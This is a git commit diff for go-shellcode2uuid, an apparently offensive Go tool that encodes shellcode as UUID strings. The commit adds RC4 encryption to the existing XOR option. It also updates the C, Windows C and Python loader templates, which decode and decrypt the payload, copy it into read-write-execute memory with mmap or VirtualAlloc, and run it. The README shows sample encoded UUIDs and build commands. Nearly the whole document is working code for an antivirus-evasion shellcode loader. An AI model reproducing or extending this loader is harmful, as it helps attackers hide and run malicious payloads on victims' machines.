aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorheqnx <root@heqnx.com>2025-05-22 16:09:36 +0300
committerheqnx <root@heqnx.com>2025-05-22 16:09:36 +0300
commit343283f02f8fd92283aa82dd1aa2d2abdb08b414 (patch)
treebcfb84d327389c516f87c003039056dda3dfced9
parent899513e23d0c8642e10aaeb9efab17400d15ffb1 (diff)
downloadgo-shellcode2uuid-343283f02f8fd92283aa82dd1aa2d2abdb08b414.tar.gz
go-shellcode2uuid-343283f02f8fd92283aa82dd1aa2d2abdb08b414.zip
added rc4
-rw-r--r--README.md94
-rw-r--r--main.go246
2 files changed, 211 insertions, 129 deletions
diff --git a/README.md b/README.md
index dbb4413..073c7c0 100644
--- a/README.md
+++ b/README.md
@@ -56,10 +56,12 @@ $ make darwin-arm64
Usage of ./go-shellcode2uuid-linux-amd64:
-file string
path to binary shellcode file
+ -rc4
+ enable rc4 encryption with 16bit random key
-stub string
stub language to output (c, cwin, py)
-xor
- enable random single-byte XOR encoding
+ enable single-byte xor encoding with random key
```
## Examples
@@ -69,7 +71,7 @@ Usage of ./go-shellcode2uuid-linux-amd64:
```
$ ./go-shellcode2uuid -file shellcode_win.bin -stub cwin -xor
[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes
-[inf] using XOR key: 0x1c
+[inf] using xor key: 0x1c
e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d
4a542dce-7954-974e-7c54-974e0454974e
3c54976e-4c54-13ab-5656-512dd5542ddc
@@ -90,90 +92,20 @@ c9549fd8-3420-1a60-169c-e7fc6919a75b
7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c
[inf] stub written to stub.c
-$ head -30 stub.c
-// x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase
-#include <windows.h>
-#include <stdio.h>
-#include <stdint.h>
-#include <stdlib.h>
-
-#define ORIGINAL_SHELLCODE_LENGTH 276
-
-const char* uuid_strings[] = {
- "e0549ff8-ecf4-dc1c-1c1c-5d4d5d4c4e4d",
- "4a542dce-7954-974e-7c54-974e0454974e",
- "3c54976e-4c54-13ab-5656-512dd5542ddc",
- "b0207d60-1e30-3c5d-ddd5-115d1dddfef1",
- "4e5d4d54-974e-3c97-5e20-541dcc979c94",
- "1c1c1c54-99dc-687b-541d-cc4c97540458",
- "975c3c55-1dcc-ff4a-54e3-d55d97289454",
- "1dca512d-d554-2ddc-b05d-ddd5115d1ddd",
- "24fc69ed-501f-5038-1459-25cd69c44458",
- "975c3855-1dcc-7a5d-9710-5458975c0055",
- "1dcc5d97-1894-541d-cc5d-445d44424546",
- "5d445d45-5d46-549f-f03c-5d4ee3fc445d",
- "45465497-0ef5-4be3-e3e3-4154a61d1c1c",
- "1c1c1c1c-1c54-9191-1d1d-1c1c5da62d97",
- "739be3c9-a7fc-0136-165d-a6ba89a181e3",
- "c9549fd8-3420-1a60-169c-e7fc6919a75b",
- "0f6e7376-1c45-5d95-c6e3-c97f7d707f32",
- "7964791c-1c1c-1c1c-1c1c-1c1c1c1c1c1c",
-};
-...
+$ x86_64-w64-mingw32-gcc -o stub.exe stub.c -Wl,--nxcompat -Wl,--dynamicbase
```
-### Generate a Python stub with XOR encoding:
+### Generate a Python stub with RC4 encoding:
```
-$ ./go-shellcode2uuid -file shellcode_linux.bin -stub py -xor
-[inf] shellcode size (276 bytes) is not a multiple of 16, will pad with nullbytes
-[inf] using XOR key: 0x09
-f5418aed-f9e1-c909-0909-485848595b58
-5f4138db-6c41-825b-6941-825b1141825b
-2941827b-5941-06be-4343-4438c04138c9
-a5356875-0b25-2948-c8c0-044808c8ebe4
-5b485841-825b-2982-4b35-4108d9828981
-09090941-8cc9-7d6e-4108-d9598241114d
-82492940-08d9-ea5f-41f6-c048823d8141
-08df4438-c041-38c9-a548-c8c0044808c8
-31e97cf8-450a-452d-014c-30d87cd1514d
-82492d40-08d9-6f48-8205-414d82491540
-08d94882-0d81-4108-d948-514851575053
-48514850-4853-418a-e529-485bf6e95148
-50534182-1be0-5ef6-f6f6-5441b3080909
-09090909-0941-8484-0808-090948b33882
-668ef6dc-b2e9-1423-0348-b3af9cb494f6
-dc418acd-2135-0f75-0389-f2e97c0cb24e
-1a7b6663-0950-4880-d3f6-dc6a68656a27
-6c716c09-0909-0909-0909-090909090909
+$ ./go-shellcode2uuid-linux-amd64 -file shellcode_linux.bin -rc4 -stub py
+[inf] shellcode size (54 bytes) is not a multiple of 16, will pad with nullbytes
+[inf] using rc4 key: r24OlLLBQr6Ay8rL
+ef4cd858-172a-5494-d0f2-1aec40ea5813
+00ccb780-888c-ea60-0353-85d24303e0a9
+3627567b-6603-5074-4beb-a8c1b23c7211
+c73d284b-b64d-d337-4ec5-3be297937f8f
[inf] stub written to stub.py
-
-$ cat stub.py
-import uuid
-import mmap
-import ctypes
-
-uuids = [
- 'f5418aed-f9e1-c909-0909-485848595b58',
- '5f4138db-6c41-825b-6941-825b1141825b',
- '2941827b-5941-06be-4343-4438c04138c9',
- 'a5356875-0b25-2948-c8c0-044808c8ebe4',
- '5b485841-825b-2982-4b35-4108d9828981',
- '09090941-8cc9-7d6e-4108-d9598241114d',
- '82492940-08d9-ea5f-41f6-c048823d8141',
- '08df4438-c041-38c9-a548-c8c0044808c8',
- '31e97cf8-450a-452d-014c-30d87cd1514d',
- '82492d40-08d9-6f48-8205-414d82491540',
- '08d94882-0d81-4108-d948-514851575053',
- '48514850-4853-418a-e529-485bf6e95148',
- '50534182-1be0-5ef6-f6f6-5441b3080909',
- '09090909-0941-8484-0808-090948b33882',
- '668ef6dc-b2e9-1423-0348-b3af9cb494f6',
- 'dc418acd-2135-0f75-0389-f2e97c0cb24e',
- '1a7b6663-0950-4880-d3f6-dc6a68656a27',
- '6c716c09-0909-0909-0909-090909090909',
-]
-...
```
- The tool prints the generated UUID strings to stdout and writes the stub source file (`stub.c` or `stub.py`).
diff --git a/main.go b/main.go
index 86820eb..ff71683 100644
--- a/main.go
+++ b/main.go
@@ -19,6 +19,7 @@ uuids = [
{{- end }}
]
+print('decoding uuids to shellcode')
shellcode = b''
for u in uuids:
shellcode += uuid.UUID(u).bytes
@@ -26,12 +27,39 @@ for u in uuids:
shellcode = shellcode[:{{ .OrigLen }}]
{{- if .XORKey }}
+print('xor decrypting shellcode')
key = {{ .XORKey }}
shellcode = bytes(b ^ key for b in shellcode)
{{- end }}
+{{- if .RC4Key }}
+def rc4_crypt(data, key):
+ S = list(range(256))
+ j = 0
+ out = bytearray()
+ key = bytearray(key, 'utf-8')
+
+ for i in range(256):
+ j = (j + S[i] + key[i % len(key)]) % 256
+ S[i], S[j] = S[j], S[i]
+
+ i = j = 0
+ for byte in data:
+ i = (i + 1) % 256
+ j = (j + S[i]) % 256
+ S[i], S[j] = S[j], S[i]
+ out.append(byte ^ S[(S[i] + S[j]) % 256])
+ return bytes(out)
+
+print('rc4 decrypting shellcode')
+rc4_key = "{{ .RC4Key }}"
+shellcode = rc4_crypt(shellcode, rc4_key)
+
+{{- end }}
+
print(f'decoded shellcode length: {len(shellcode)} bytes')
+print('calling mmap for memory allocation')
pagesize = mmap.PAGESIZE
size = ((len(shellcode) + pagesize - 1) // pagesize) * pagesize
mem = mmap.mmap(-1, size, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
@@ -58,6 +86,9 @@ const char* uuid_strings[] = {
{{- end }}
};
+#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0]))
+#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16)
+
uint8_t hexchar(char c) {
if ('0' <= c && c <= '9') return c - '0';
if ('a' <= c && c <= 'f') return c - 'a' + 10;
@@ -72,56 +103,78 @@ void parse_uuid(const char* str, uint8_t* out) {
++i;
continue;
}
- out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
+ out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
i += 2;
- ++j;
}
}
-{{- if .XORKey }}
+uint8_t* decode_uuids() {
+ printf("decoding uuids to shellcode\n");
+ uint8_t* buf = malloc(SHELLCODE_TOTAL_LEN);
+ if (!buf) {
+ fprintf(stderr, "malloc failed\n");
+ exit(1);
+ }
+ for (size_t i = 0; i < UUID_COUNT; ++i) {
+ parse_uuid(uuid_strings[i], buf + i * 16);
+ }
+ return buf;
+}
+{{- if .XORKey }}
void xor_decode(uint8_t *buf, size_t len, uint8_t key) {
- for (size_t i = 0; i < len; i++) {
+ printf("xor decrypting shellcode\n");
+ for (size_t i = 0; i < len; ++i)
buf[i] ^= key;
- }
}
{{- end }}
-uint8_t* decode_uuids(size_t count, size_t* out_len) {
- uint8_t* buf = malloc(count * 16);
- if (!buf) {
- fprintf(stderr, "malloc failed\\n");
- exit(1);
+{{- if .RC4Key }}
+void rc4_crypt(uint8_t *data, size_t len, const char *key) {
+ printf("rc4 decrypting shellcode\n");
+ uint8_t S[256];
+ int i, j = 0;
+ for (i = 0; i < 256; i++) S[i] = i;
+ for (i = 0; i < 256; i++) {
+ j = (j + S[i] + key[i % strlen(key)]) & 0xFF;
+ uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
}
-
- for (size_t i = 0; i < count; ++i) {
- parse_uuid(uuid_strings[i], buf + (i * 16));
+ i = j = 0;
+ for (size_t n = 0; n < len; n++) {
+ i = (i + 1) & 0xFF;
+ j = (j + S[i]) & 0xFF;
+ uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
+ data[n] ^= S[(S[i] + S[j]) & 0xFF];
}
-
- *out_len = count * 16;
- return buf;
}
+{{- end }}
-int main() {
- size_t shellcode_len = 0;
- uint8_t* shellcode = decode_uuids(sizeof(uuid_strings) / sizeof(uuid_strings[0]), &shellcode_len);
-
+void decrypt_shellcode(uint8_t *buf) {
{{- if .XORKey }}
- xor_decode(shellcode, shellcode_len, {{ .XORKey }});
+ xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }});
{{- end }}
+{{- if .RC4Key }}
+ rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}");
+{{- end }}
+}
- printf("decoded shellcode length: %zu\\n", shellcode_len);
+int main() {
+ uint8_t* shellcode = decode_uuids();
+ decrypt_shellcode(shellcode);
+
+ printf("decoded shellcode length: %zu\n", SHELLCODE_TOTAL_LEN);
- void *exec = mmap(0, shellcode_len, PROT_READ | PROT_WRITE | PROT_EXEC,
+ printf("calling mmap for memory allocation\n");
+ void *exec = mmap(0, SHELLCODE_TOTAL_LEN, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (exec == MAP_FAILED) {
perror("mmap");
return 1;
}
+ printf("executing shellcode\n");
memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH);
((void(*)())exec)();
- printf("successfully executed shellcode\\n");
free(shellcode);
return 0;
@@ -142,6 +195,9 @@ const char* uuid_strings[] = {
{{- end }}
};
+#define UUID_COUNT (sizeof(uuid_strings) / sizeof(uuid_strings[0]))
+#define SHELLCODE_TOTAL_LEN (UUID_COUNT * 16)
+
uint8_t hexchar(char c) {
if ('0' <= c && c <= '9') return c - '0';
if ('a' <= c && c <= 'f') return c - 'a' + 10;
@@ -156,48 +212,81 @@ void parse_uuid(const char* str, uint8_t* out) {
++i;
continue;
}
- out[j] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
+ out[j++] = (hexchar(str[i]) << 4) | hexchar(str[i+1]);
i += 2;
- ++j;
}
}
-{{- if .XORKey }}
+uint8_t* decode_uuids(size_t count, size_t* out_len) {
+ printf("decoding uuids to shellcode\n");
+ uint8_t* buf = (uint8_t*)malloc(count * 16);
+ if (!buf) {
+ fprintf(stderr, "malloc failed\n");
+ exit(1);
+ }
+ for (size_t i = 0; i < count; ++i) {
+ parse_uuid(uuid_strings[i], buf + i * 16);
+ }
+
+ *out_len = count * 16;
+ return buf;
+}
+
+{{- if .XORKey }}
void xor_decode(uint8_t *buf, size_t len, uint8_t key) {
- for (size_t i = 0; i < len; i++) {
+ printf("xor decrypting shellcode\n");
+ for (size_t i = 0; i < len; ++i)
buf[i] ^= key;
- }
}
{{- end }}
-int main() {
- size_t count = sizeof(uuid_strings) / sizeof(uuid_strings[0]);
- uint8_t* shellcode = (uint8_t*)malloc(count * 16);
- if (!shellcode) {
- fprintf(stderr, "malloc failed\n");
- return 1;
+{{- if .RC4Key }}
+void rc4_crypt(uint8_t *data, size_t len, const char *key) {
+ printf("rc4 decrypting shellcode\n");
+ uint8_t S[256];
+ int i, j = 0;
+ for (i = 0; i < 256; i++) S[i] = i;
+ for (i = 0; i < 256; i++) {
+ j = (j + S[i] + key[i % strlen(key)]) & 0xFF;
+ uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
}
-
- for (size_t i = 0; i < count; ++i) {
- parse_uuid(uuid_strings[i], shellcode + i * 16);
+ i = j = 0;
+ for (size_t n = 0; n < len; n++) {
+ i = (i + 1) & 0xFF;
+ j = (j + S[i]) & 0xFF;
+ uint8_t tmp = S[i]; S[i] = S[j]; S[j] = tmp;
+ data[n] ^= S[(S[i] + S[j]) & 0xFF];
}
+}
+{{- end }}
-{{if .XORKey }}
- xor_decode(shellcode, count * 16, {{ .XORKey }});
+void decrypt_shellcode(uint8_t *buf) {
+{{- if .XORKey }}
+ xor_decode(buf, SHELLCODE_TOTAL_LEN, {{ .XORKey }});
{{- end }}
+{{- if .RC4Key }}
+ rc4_crypt(buf, SHELLCODE_TOTAL_LEN, "{{ .RC4Key }}");
+{{- end }}
+}
- printf("decoded shellcode length: %zu\n", count * 16);
+int main() {
+ size_t shellcode_len = 0;
+ uint8_t* shellcode = decode_uuids(UUID_COUNT, &shellcode_len);
+
+ decrypt_shellcode(shellcode);
+ printf("decoded shellcode length: %zu\n", shellcode_len);
- void* exec = VirtualAlloc(NULL, count * 16, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ printf("calling VirtualAlloc for memory allocation\n");
+ void* exec = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!exec) {
fprintf(stderr, "VirtualAlloc failed\n");
free(shellcode);
return 1;
}
+ printf("executing shellcode\n");
memcpy(exec, shellcode, ORIGINAL_SHELLCODE_LENGTH);
-
((void(*)())exec)();
free(shellcode);
@@ -208,7 +297,8 @@ int main() {
func main() {
filePath := flag.String("file", "", "path to binary shellcode file")
stubLang := flag.String("stub", "", "stub language to output (c, cwin, py)")
- xorFlag := flag.Bool("xor", false, "enable random single-byte XOR encoding")
+ xorFlag := flag.Bool("xor", false, "enable single-byte xor encoding with random key")
+ rc4Flag := flag.Bool("rc4", false, "enable rc4 encryption with 16bit random key")
flag.Parse()
if *filePath == "" {
@@ -229,20 +319,40 @@ func main() {
data = append(data, make([]byte, pad)...)
}
+ if *xorFlag && *rc4Flag {
+ fmt.Fprintf(os.Stderr, "[err] cannot use both xor and rc4\n")
+ os.Exit(1)
+ }
+
+ var rc4Key []byte
var xorKey byte = 0
+
if *xorFlag {
key := make([]byte, 1)
_, err := rand.Read(key)
if err != nil {
- fmt.Fprintf(os.Stderr, "[err] failed to generate XOR key: %v\n", err)
+ fmt.Fprintf(os.Stderr, "[err] failed to generate xor key: %v\n", err)
os.Exit(1)
}
xorKey = key[0]
- fmt.Printf("[inf] using XOR key: 0x%02x\n", xorKey)
+ fmt.Printf("[inf] using xor key: 0x%02x\n", xorKey)
for i := 0; i < len(data); i++ {
data[i] ^= xorKey
}
+ } else if *rc4Flag {
+ var err error
+ rc4Key, err = generateRC4Key()
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] failed to generate rc4 key: %v\n", err)
+ os.Exit(1)
+ }
+ fmt.Printf("[inf] using rc4 key: %s\n", string(rc4Key))
+ data, err = rc4Encrypt(data, rc4Key)
+ if err != nil {
+ fmt.Fprintf(os.Stderr, "[err] rc4 encryption failed: %v\n", err)
+ os.Exit(1)
+ }
}
var uuids []string
@@ -272,7 +382,7 @@ func main() {
os.Exit(1)
}
- err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, fileName)
+ err := renderTemplateToFile(stubContent, uuids, origLen, xorKey, string(rc4Key), fileName)
if err != nil {
fmt.Fprintf(os.Stderr, "[err] failed to write stub: %v\n", err)
os.Exit(1)
@@ -281,6 +391,45 @@ func main() {
}
}
+func generateRC4Key() ([]byte, error) {
+ const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+ key := make([]byte, 16)
+ for i := range key {
+ b := make([]byte, 1)
+ if _, err := rand.Read(b); err != nil {
+ return nil, err
+ }
+ key[i] = charset[int(b[0])%len(charset)]
+ }
+ return key, nil
+}
+
+func rc4Encrypt(data, key []byte) ([]byte, error) {
+ S := [256]byte{}
+ T := [256]byte{}
+ for i := 0; i < 256; i++ {
+ S[i] = byte(i)
+ T[i] = key[i%len(key)]
+ }
+
+ j := 0
+ for i := 0; i < 256; i++ {
+ j = (j + int(S[i]) + int(T[i])) % 256
+ S[i], S[j] = S[j], S[i]
+ }
+
+ i, j := 0, 0
+ out := make([]byte, len(data))
+ for n := 0; n < len(data); n++ {
+ i = (i + 1) % 256
+ j = (j + int(S[i])) % 256
+ S[i], S[j] = S[j], S[i]
+ K := S[(int(S[i])+int(S[j]))%256]
+ out[n] = data[n] ^ K
+ }
+ return out, nil
+}
+
func formatAsUUID(b []byte) string {
if len(b) != 16 {
return ""
@@ -294,7 +443,7 @@ func formatAsUUID(b []byte) string {
)
}
-func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, fileName string) error {
+func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey byte, rc4Key string, fileName string) error {
tmpl, err := template.New("stub").Parse(tmplStr)
if err != nil {
return err
@@ -310,6 +459,7 @@ func renderTemplateToFile(tmplStr string, uuids []string, origLen int, xorKey by
"UUIDs": uuids,
"OrigLen": origLen,
"XORKey": xorKey,
+ "RC4Key": string(rc4Key),
})
}